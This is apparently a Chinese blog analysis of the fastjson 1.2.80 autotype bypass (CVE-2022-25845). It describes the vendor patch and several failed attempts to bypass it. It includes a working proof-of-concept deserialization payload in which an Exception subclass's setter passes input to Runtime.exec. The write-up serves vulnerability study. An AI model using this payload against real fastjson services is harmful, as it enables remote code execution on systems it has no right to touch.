CVE-2022-25845 FastJson 代码执行漏洞分析

漏洞分析

这是浅蓝师傅在KCon黑客大会演讲之前我分析的,分析的比较浅显,详细的可以看一下浅蓝师傅的视频。


浅蓝师傅发现并向阿里巴巴报告fastjson 1.2.80 autotype绕过反系列化漏洞,特定依赖存在下影响fastjson <= 1.2.80
网传poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class fastjson_1_2_80 {
public static void exp() {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.alter.test.Poc\",\"name\":\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}";
JSON.parse(json);
}

public static void main(String[] args) throws Exception {
exp();
}
}

public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}

总的来说就是利用Exception类绕过checkAutoType。然后利用ThrowableDeserializer.java中的特性,将第二次进入checkAutoType方法的参数typeName赋值com.alter.test.Poc,将为exceptClass赋值为Throwable.class。这样利用exceptClass绕过检查,直接返回poc类,后面就是实例化,自动调用setter
注意:poc类要extends Exception

漏洞修复与绕过尝试

1_80_1
1.1
可以看到官方补丁在checkAutoType中增加了两个判断(第二个图是在commit 8f3410f中增加的)

  • expectClass == null && clazz != null && Throwable.class.isAssignableFrom(clazz) && !autoTypeSupport
  • 在没开启autoTypeSupport的情况下,如果typenameExceptionError结尾就返回null,否则抛出异常;

第二个判断更绝了,在没开启autoTypeSupport的情况下,如果typeNameExceptionError结尾,那就返回null;否则抛出异常。全封死了。但只要绕过第一个判断并且能在第二个判断前返回就还有机会
尝试绕过一下。首先第一个判断,clazz是在这里赋值的
1_80_2
这里就涉及了1.2.47漏洞的原因(由于1.2.48版本修复了,这里也没办法提前缓存其他类),只能用已有的类
1_80_3
这也意味着要想绕过补丁中的第一个判断,就要从mappings中得到类。这个类还不能继承实现 Throwable类
找到一个java.util.concurrent.atomic.AtomicLong类。但是报错了,因为token的原因。
又找到了java.util.TreeMap。虽然绕过了第一道验证,但expectClass还被设为了空
假设这部分绕过了,变成了有expectClass,但expectClass还不能是java.io.Serializablejava.lang.Cloneablejava.io.Closeablejava.lang.AutoCloseablejava.lang.Readablejava.lang.Runnablejava.util.EventListenerjava.lang.Iterablejava.util.Collectionjava.lang.Object类。

后面想到了一个办法,直接去源码里找哪里调用了checkAutoType并且expectClass不为空不就得了。结果只找到两处

1
2
3
4
5
6
7
8
9
10
11
12
13
// src/main/java/com/alibaba/fastjson/parser/deserializer/ThrowableDeserializer.java
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

// src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java
if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = parser.getConfig().checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}
...
if (userType == null) {
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
}

第一处肯定不行了,第二处的类不在mapping中,也不行。这样的话这次补丁应该是绕不过去了。


2023.4.10更新

poc详解

参考:
https://hpdoger.cn/2022/10/13/title:%20FastJson1.2.80%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/)
本地连接:
https://github.com/altEr1125/altEr1125.github.io/blob/master/file/CVE-2022-25845%20FastJson%20%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/FastJson1.2.80%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90.html